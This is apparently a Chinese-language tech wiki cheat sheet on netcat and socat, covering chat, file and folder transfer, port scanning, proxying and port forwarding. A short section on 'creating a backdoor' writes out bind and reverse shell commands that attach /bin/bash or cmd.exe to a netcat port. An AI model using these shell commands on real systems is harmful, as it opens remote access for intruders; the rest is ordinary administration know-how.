nc & socat 有很多不错的用处,这篇文章来自我的 技术资料.wiki.nc。
Chat
1 2 3 4
| # 发送端 nc -l 3333 # 接受端 nc 127.0.0.1 3333
|
传送文件
1 2 3 4
| # 发送端 `cat backup.iso | nc -l 3333` # 接收端 `nc 192.168.0.1 3333 > backup.iso`
|
显示传送进度,可以使用管道监控,pv命令
1 2
| `cat backup.iso | pv -b | nc -l 3333` `nc 192.168.0.1 3333 | pv -b > backup.iso`
|
本地打包文件,传送到远端
1 2
| tar -czf - /etc/ | nc -l 3333 nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz
|
传送文件夹
1 2
| tar -cvf – dir_name | nc -l 1567 nc -n 172.31.100.7 1567 | tar -xvf -
|
压缩文件以减少带宽
1 2
| tar -cvf – dir_name| bzip2 -z | nc -l 1567 nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -
|
端口扫描
1 2
| 扫描端口,并返回相关信息 nc -z 192.168.0.1 80-90
|
如何正确的加密聊天
如何正确的创建后门
1 2 3
| nc -l 3333 -e /bin/bash nc -l 3333 -e cmd.exe nc 127.0.0.1 3333
|
如何逆向后门
1 2
| nc -l 3333 nc 127.0.0.1 3333 -e /bin/bash
|
模拟 telenet
指定代理方式
以 http 的方式把 host.example.com:42 映射到 192.168.0.2:8080
1
| nc -x192.168.0.2:8080 -Xconnect host.example.com 42
|
SSH over Socks ( socket 转发 )
1
| ssh -o ProxyCommand='/usr/bin/nc -x 127.0.0.1:1080 %h %p' -i "xxx.pem" user@host
|
nc over pipe ( port forwarding )
1 2 3 4
| mkfifo a mkfifo b nc 127.0.0.1 8000 <b >a & # 与 8000 建立链接 nc -l 8001 <a >b &
|
关于 mkfifo ,可以用 ls -al
发现文件属性为 p
,用 cat a
可以看到 pipe a 的数据。
socat 版本端口转发
tcp-listen 可以改为 tcp4-listen or tcp6-listen 或者指定地址,bind=that-address
1
| socat tcp-listen:8001,reuseaddr,fork tcp:localhost:8000
|
ssh 版本端口转发(远程转发,访问 host:8080 就相当于访问 localhost:80)
1 2 3 4
| ssh -R 0.0.0.0:8080:localhost:80 user@host # -R remote 的缩写 # -R [远程主机:]远程主机端口:登录主机:登录主机端口 # 0.0.0.0:8080 部分就是在 user@host 中建立 LISTEN 0.0.0.0:8080
|
Res
Ref